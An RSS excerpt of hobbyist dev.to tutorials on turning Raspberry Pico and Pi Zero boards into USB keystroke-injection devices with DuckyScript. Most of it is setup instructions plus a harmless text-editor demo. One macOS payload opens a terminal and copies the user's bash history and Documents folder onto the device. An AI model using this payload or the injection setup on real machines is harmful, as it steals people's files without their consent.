&lt;li&gt;You need to customize the keyboard layout to match the target computers layout, see &lt;a href="https://github.com/dbisu/pico-ducky/tree/main?tab=readme-ov-file#changing-keyboard-layouts" rel="noopener noreferrer"&gt;Changing Keyboard Layouts&lt;/a&gt; in the official documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;The following implementation assumes that the Pico device will get the &lt;code&gt;/dev/disk2&lt;/code&gt; device file. Without the option to disable USB storage, the Pico will connect and stay connected - but the files are copied nevertheless.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OsX&lt;/span&gt;
&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Copy&lt;/span&gt; &lt;span class="n"&gt;well&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;

&lt;span class="n"&gt;GUI&lt;/span&gt; &lt;span class="n"&gt;SPACE&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;iterm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;disk2&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s/.*\(\/Volumes\/.*\)/&lt;/span&gt;&lt;span class="se"&gt;\1&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bash_history&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Documents&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STOPP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Raspberry Pico W can be turned into a physical hacking device with the help of the &lt;a href="https://github.com/dbisu/pico-ducky/" rel="noopener noreferrer"&gt;pico ducky&lt;/a&gt; library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the &lt;a href="https://github.com/dbisu/pico-ducky/blob/main/duckyinpython.py" rel="noopener noreferrer"&gt;duckyinpython.py file&lt;/a&gt; for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Physical Device Hacking with Ducky Script</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 07 May 2026 05:50:09 +0000</pubDate>
      <link>https://dev.to/admantium/physical-device-hacking-with-ducky-script-3gh1</link>
      <guid>https://dev.to/admantium/physical-device-hacking-with-ducky-script-3gh1</guid>
      <description>&lt;p&gt;&lt;em&gt;Image source: &lt;a href="https://shop.hak5.org/products/usb-rubber-ducky" rel="noopener noreferrer"&gt;hak5&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Physical hacking of a computer encompasses injection of commands with the target to grab files, install programs, create custom users or gain control. With the programmable Ducky Script USB stick, these exploits can be crafted to target any host system. When inserted, a preprogramed script is executed, written in the Ducky Script language.&lt;/p&gt;

&lt;p&gt;This article is a concise introduction to the DuckyScript programming language. Based on the &lt;a href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference" rel="noopener noreferrer"&gt;official DuckyScript documentation&lt;/a&gt;, it covers the essential commands and overall syntax, from keystrokes to host state management and function definition.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;Adafruit CircuitPython Bundle v9.x&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  DuckyScript Program
&lt;/h2&gt;

&lt;p&gt;A DuckyScript program is a line terminated sequence of commands that executes keystrokes on a target computer. The goal of these keystrokes is typically to infiltrate or compromise a system, for example by running commands that start a reverse shell, creating user accounts with root privileges, or downloading and installing malware. Therefore, a DuckyScript program can be thought of the vehicle, and the actual, os-specific exploit, as the transport.&lt;/p&gt;

&lt;p&gt;The original DuckyScript programs are compiled into a binary using the &lt;a href="https://payloadstudio.hak5.org/" rel="noopener noreferrer"&gt;Hak5 Payload Studio&lt;/a&gt; program. This binary is then uploaded to an USB stick, and executed when the USB stick is connected to a host device&lt;/p&gt;

&lt;p&gt;The original hardware is not the only option to run DuckyScripts - several interpreters for different hardware are available in the open source community, including  these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;pico ducky&lt;/a&gt;: A library for running DuckyScript on the Raspberry Pico microcontroller, using a CircuitPython interpreter.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/YariKartoshe4ka/PotatoParser" rel="noopener noreferrer"&gt;Potato Parser&lt;/a&gt;: A library for running DuckyScript on ESP32 Devices. This Arduino project creates a custom binary with all included libraries.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/BadUsbScriptFormat.md" rel="noopener noreferrer"&gt;Flipper BadUSB&lt;/a&gt;: A DuckyScript 2.x compatible language that runs on the flipper hacking device.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/PrettyBoyCosmo/DucKey-Logger" rel="noopener noreferrer"&gt;DucKey-Logger&lt;/a&gt;: A special PowerShell based exploit that completely logs all keystrokes and sends them to an online address.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Ducky Script Commands
&lt;/h2&gt;

&lt;p&gt;The DuckyScript commands can be separated into these categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keystrokes: Most commands initiate a single or sequence of keystrokes, including control keys.&lt;/li&gt;
&lt;li&gt;Host State Management: Some commands read the systems keyboard state, and can be used as triggers to continue program flow, e.g. waiting for the user to start the screensaver, from which the exploit than resumes&lt;/li&gt;
&lt;li&gt;Device State Management: The original rubber duck USB stick features an LED and a button. Commands for these features can turn the LED on or await the press of a button as a trigger&lt;/li&gt;
&lt;li&gt;Program Structure &amp;amp; Control: DuckyScript allow the definition of variables and functions, lopping, branches and functions. For integer and boolean values, several operators exist. Finally, the global program state can be reflected and modified.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Keystrokes
&lt;/h2&gt;

&lt;p&gt;Please continue reading this article on my blog &lt;a href="https://admantium.com/blog/micro25_raspberry_pico_ducky_script/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt; - I could not get it compiled on dev.to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;DuckyScript is a programming language to initiate keystrokes on a target computer. Essentially, these commands serve as a vehicle to transport an exploit onto a target system. This article provided a compact introduction to the DuckyScript language. You learned about all commands structured into four categories: a) keystrokes, a single or sequence of keys that are executed, b) host state management, commands that check the state of control keys, c) device management, to control the rubber ducks USB stick button and LED , d) program structure &amp;amp; control, defining variables, functions, and using various expressions to compare and modify numbers, strings and boolean values. Reflecting the language design, a striking feature is that the linear, continuous execution can be controlled by waiting for a specific condition on the target system. And with this, an exploit can be applied at the best moment to fulfill its goal.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>duckyscript</category>
    </item>
    <item>
      <title>Raspberry Pico: USB Hacking Device Programming</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 27 Apr 2026 05:05:02 +0000</pubDate>
      <link>https://dev.to/admantium/rasperry-pico-usb-hacking-device-programming-3230</link>
      <guid>https://dev.to/admantium/rasperry-pico-usb-hacking-device-programming-3230</guid>
      <description>&lt;p&gt;Small form-factor single board computers and microcontroller are an ubiquitous stack in electronic projects. An interesting application area for these devices is physical hacking, e.g. using an USB connection to a host system to inject commands, gain system access, or steal files. To my surprise, an entry level microcontroller, the Raspberry Pico, can be used for these nefarious tasks.&lt;/p&gt;

&lt;p&gt;This article shows how to turn a Raspberry Pico into a USB hacking device, also called bad USB in hacker jargon. The Pico is programmed to execute a set of steps on the target computer once its USB connection is established. You will learn how to setup the Pico with the required Python version and libraries and see a simple example program that runs on a Linux host: Opening a text file, writing a text, and storing the file.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;Adafruit CircuitPython Bundle v9.x&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro24_raspberry_pico_usb_hacking/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Required Hardware &amp;amp; Software
&lt;/h2&gt;

&lt;p&gt;For this article, you need a delightfully simple bill-of-materials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pico or Raspberry Pico W&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And for the software:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://circuitpython.org/board/raspberry_pi_pico/" rel="noopener noreferrer"&gt;CircuitPython Raspberry Pico&lt;/a&gt; or &lt;a href="https://circuitpython.org/board/raspberry_pi_pico_w/" rel="noopener noreferrer"&gt;CircuitPython Raspberry Pico W&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://circuitpython.org/libraries" rel="noopener noreferrer"&gt;Adafruit CircuitPython Bundle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;Pico Ducky&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Connect the Pico to your computer and continue with the setup steps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing Circuit Python and Required Libraries
&lt;/h2&gt;

&lt;p&gt;To turn the Pico into a USB hacking gadget, you first need to install the Circuit Python distribution.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the latest version of Circuit Python for the &lt;a href="https://circuitpython.org/board/raspberry_pi_pico/" rel="noopener noreferrer"&gt;Raspberry Pico&lt;/a&gt; or &lt;a href="https://circuitpython.org/board/raspberry_pi_pico_w/" rel="noopener noreferrer"&gt;Raspberry Pico W&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Hold down the Pico’s BOOTSEL button and connect the Pico to your computer&lt;/li&gt;
&lt;li&gt;Drag and drop the Circuit Python firmware to the Pico&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With Circuit Python installed, open the Thonny IDE, configure the interpreter as "CircuitPython (generic)" and select the connected Raspberry Pico. This should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ou69thzu92a8g2vl7m7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ou69thzu92a8g2vl7m7.png" width="711" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you can access the Pico’s filesystem and add the required libraries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the &lt;a href="https://circuitpython.org/libraries" rel="noopener noreferrer"&gt;Adafruit Circuit Python bundle&lt;/a&gt; for the same major release of Circuit Python that you used before&lt;/li&gt;
&lt;li&gt;From the Zip file, copy the following files to the Raspberry Pico with the very same path:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;adafruit_hid&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;adafruit_wsgi&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;
&lt;span class="n"&gt;adafruit_debouncer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mpy&lt;/span&gt;
&lt;span class="n"&gt;adafruit_ticks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mpy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last part is to copy selected files from &lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;Pico Ducky&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download a Zip file of the project, or use &lt;code&gt;git clone&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Copy the following files to the Pico’s root directory:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;boot.py
code.py
duckyinpython.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;And if you are using a Pico W, additionally copy these files:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;secrets.py
webapp.py
wsgiserver.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final file layout should like this in the Thonny IDE:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxepsgdmurk1k7w9kejx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxepsgdmurk1k7w9kejx.png" width="312" height="330"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you are ready to write your first exploit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing an Exploit
&lt;/h2&gt;

&lt;p&gt;In hacking jargon, an exploit is the execution of intended commands and functions on a computer for a specific goal. The spearhead of bad USB exploits is the scripting language &lt;a href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference" rel="noopener noreferrer"&gt;DuckyScript&lt;/a&gt;, which is used on special programmable USB sticks.&lt;/p&gt;

&lt;p&gt;But thanks to Pico Ducky, these scripts can be run on the Raspberry Pico instead. This libraries code contains an interpreter for DuckyScript, executing Python code instead. According to its develop, you should be able to run any Duck scripts, such as those from the official &lt;a href="https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads" rel="noopener noreferrer"&gt;DuckyScript Payloads GitHub repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A coverage of the complete Ducky script language, its syntax and features, is not the scope of this article. But two points need to be mentioned. First, each exploit is specific to an operating system. Second, real world exploits target specific known vulnerabilities of the host for the purpose if infiltration, privilege escalation or malware installation (which is out of scope too). Third, only execute exploits on your own computers, and be aware that you can damage them in the process.&lt;/p&gt;

&lt;p&gt;With all this being said, lets stick to an entry level example. Targeting a Linux host system, the script opens the application shortcut menu, opens a text editor, and types a message. The script is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;REM Target: Linux Ubuntu
REM Exploit: open text editor and write a message
ALT F2
STRING gedit
DELAY 1500
ENTER
DELAY 1500
STRING Hello World!
DELAY 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can infer, these commands correspond to concrete keystrokes (&lt;code&gt;ALT&lt;/code&gt;, &lt;code&gt;F4&lt;/code&gt;, &lt;code&gt;ENTER&lt;/code&gt;), consecutive typing of arbitrary text (&lt;code&gt;STRING&lt;/code&gt;), waiting between commands with &lt;code&gt;DELAY&lt;/code&gt; and making commands with REM. This script does not have any triggers, so it will run continuously once started.&lt;/p&gt;

&lt;h2&gt;
  
  
  Running an Exploit
&lt;/h2&gt;

&lt;p&gt;The copied file &lt;code&gt;code.py&lt;/code&gt; contains all instructions to run a Pico Duck exploit. It will search and load a file called &lt;code&gt;payload.dd&lt;/code&gt; and execute it. Therefore, to run the test exploit, you just need to upload it to the Pico. But be advised again: Only run exploits on your own computers, and be mindful that you can damage the computer in the process.&lt;/p&gt;

&lt;p&gt;For testing purposes, you can run the script from the Thonny IDE on your setup computer. To have an additional fallback: Connect the &lt;code&gt;GP0 0&lt;/code&gt; with any &lt;code&gt;GND&lt;/code&gt; pin on the Pico to put it into setup mode and disable automatic program execution. Then, selects the &lt;code&gt;code.py&lt;/code&gt; file, and click on the run button. The Thonny terminal shows the program execution like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;progStatus False
Finding payload
Running  payload.dd
Done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the concrete deployment of the exploit, simply unplug the Pico and connect it to its target system. Once the USB drive is mounted, the script will run automatically.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pico W Bonus: Interactive Web Server
&lt;/h2&gt;

&lt;p&gt;When you use a Pico W Board, the Pico Duck library will create a local Wifi hotspot with SSID and PSK defined in the &lt;code&gt;secrets.py&lt;/code&gt; file. Starting the program via Thonny, you should see the following messages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Starting Wifi
Connect wifi
192.168.4.1 80
Starting Web Service
starting monitor_buttons
starting blink_pico_w_led
192.168.4.1 80
open this IP &lt;span class="k"&gt;in &lt;/span&gt;your browser: http://192.168.4.1:80/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connect to the WiFi hotspot, open the given URL, and you will see a simple web GUI that allows you to add, edit and run exploits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftz1zftmj7b6wa07b1moo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftz1zftmj7b6wa07b1moo.png" width="376" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Outlook
&lt;/h2&gt;

&lt;p&gt;Using USB devices to automatically execute commands can compromise systems. This article only showed a very simple exploit, and it has clear limitations. First, it only works on the intended target system and relies on the specific graphical text editor program to be present. Second, the script will run continuously, without interpretation.&lt;/p&gt;

&lt;p&gt;Comparing the DuckyScript with HID script from my &lt;a href="https://admantium.com/blog/micro23_rasperry_zero_hacking_device/" rel="noopener noreferrer"&gt;earlier article&lt;/a&gt; leads me to several observations. HID is based on JavaScript, giving access to full programming language concepts with functions, loops and conditions. Also, HID scripts includes commands to randomize the typing speed of long texts to that of humans Another difference are triggers. HID scripts can be started when a specific event happens, for example when other keystrokes on the host system are detected or when no keystrokes are detected for an amount of time. This makes HID script more stealthy. But there is one big difference: For DuckyScript, a &lt;a href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference" rel="noopener noreferrer"&gt;complete language documentation&lt;/a&gt; is available. I'm sure that a better understanding of its features will change my viewpoints.&lt;/p&gt;

&lt;p&gt;Finally, the USB HID library provides many additional features that can be used. The &lt;a href="https://docs.circuitpython.org/projects/hid/en/latest/" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt; lists examples how to control the mouse as well as other generic input like changing the sound volume of the targeted computer. It would be interesting to see how these commands could be incorporated or integrated with Pico Duck.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, you learned how to convert the Raspberry Pico microcontroller into a USB hacking device. Essentially you program the Pico with a custom scripting language, called DuckyScript, with which USB keyboard commands can be executed. Mounted to a target system, the script is executed on the host, and can be used to input complex command sequences. The article showed you how to get started. Besides the Pico itself, you just need a recent Circuit Python version, a USB HID library, and the Pico Duck library which interprets DuckyScript exploits to run with Micro Python. You also saw a very simple exploit for a Linux system: Opening the text editor and type an automated message. But be advised: Only run exploits on systems that you own, and mind that you can damage your computer too.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
    </item>
    <item>
      <title>Turning the Raspberry Pi Zero into a Hacking Gadget</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 16 Apr 2026 04:49:02 +0000</pubDate>
      <link>https://dev.to/admantium/turning-the-raspberry-pi-zero-into-a-hacking-gadget-2ekl</link>
      <guid>https://dev.to/admantium/turning-the-raspberry-pi-zero-into-a-hacking-gadget-2ekl</guid>
      <description>&lt;p&gt;Single Board Computers with the ability to run a full-fledged Linux distribution can be used as portable devices for a wide variety of use cases. To my surprise, one of them is computer hacking. I was astonished about the creativity and ease-of-use how a Raspberry Pi, Raspberry Pi Zero or Pico can be used for potentially nefarious activities. And after a long deliberation, I decided to start writing blog posts about this subject.&lt;/p&gt;

&lt;p&gt;The article completely covers the installation, setup, and configuration to convert a Raspberry Pi Zero into a portable hacking device. Once powered, the device will start a custom WiFi endpoint and can be connected to via SSH or HTTP. It offers a CLI and a full-fledged GUI to configure the device behavior when connected to USB. And it can run shell or a custom JavaScript compatible language to initiate keyboard stokes, move the mouse, and access files of the device it is connected too. You will also learn how to combine triggers, startup templates, and HID script for an entry level exploit: When connected via USB to a host system, a text editor will be opened and a message written into it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Bad USB: Raspi Zero". The articles itself cannot be accessed, but only its &lt;a href="https://www.heise.de/select/ct/2023/27/softlinks/yhhf" rel="noopener noreferrer"&gt;link collection&lt;/a&gt; is available on the public internet.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro23_rasperry_zero_hacking_device/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing about Hacking?
&lt;/h2&gt;

&lt;p&gt;For a long time, I have been thinking about the aspect of writing about hacking. My specific concern is about how knowledge in this area, the concrete concepts and processes, can be used for nefarious activities. On the other hand, knowledge gathered by first-hand experience, and transparent communication about it, can raise the awareness about essential dangers. Ultimately, this is tied to the question of knowledge itself: For which purpose do you use it?&lt;/p&gt;

&lt;p&gt;Physical hacking is the process of connecting an external device to a target computer and starting an exploit. The goals of hacking are manifold, starting from recording interactions that happen at the computer, reading and copying computer files or the computer memory, running user interactions like keystrokes or mouse movements, executing scripts to modify the system or install new applications. An exploit is the concrete process to achieve a goal, and it can be a combination of intended computer behavior (e.g. registering a USB device) with known or new vulnerabilities in a computer system.&lt;/p&gt;

&lt;p&gt;I'm no security consultant, but working in IT, I'm exposed to security topics on a daily basis. Bridging the gap from theoretical knowledge to hands-on experiences while further exploring the amazing Raspberry Pi use cases provided the final nudge to start this blog series. And with this realization, I also feel the need to formulate a disclaimer: This blog content is presented as-is for educational purposes. Only use them on computer systems that you own, and be aware that you can damage the systems.&lt;/p&gt;

&lt;p&gt;Finally, bear in mind that explored concepts in this article are written from a beginner’s mind.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardware Requirements and Assembly
&lt;/h2&gt;

&lt;p&gt;The required hardware for this article is as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pi Zero W (specifically not a Pi Zero W)&lt;/li&gt;
&lt;li&gt;USB Dongle (for example the &lt;a href="https://wiki.52pi.com/index.php?title=EP-0097" rel="noopener noreferrer"&gt;EP-0097&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The USB dongle needs to be assembled to turn the Zero into a USB hacking device. The particular dongle that I acquired did not include a construction manual, but its components seemed manageable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fml89lpey5m03s356rxbz.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fml89lpey5m03s356rxbz.jpg" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, trying to assemble it manually surfaced an embarrassing knowledge gap. Specifically, I thought that the connection pins of the USB dongle need to be connected to the Zeros GPI pins. But no, right next to the Zeros USB ports, external circuit "touchpoints" are exposed - the dongle pins merely need to touch them too.&lt;/p&gt;

&lt;p&gt;To assemble the USB dongle correctly, follow these steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remove the protection layer from the acryl board&lt;/li&gt;
&lt;li&gt;Put the thinner acryl board to the bottom&lt;/li&gt;
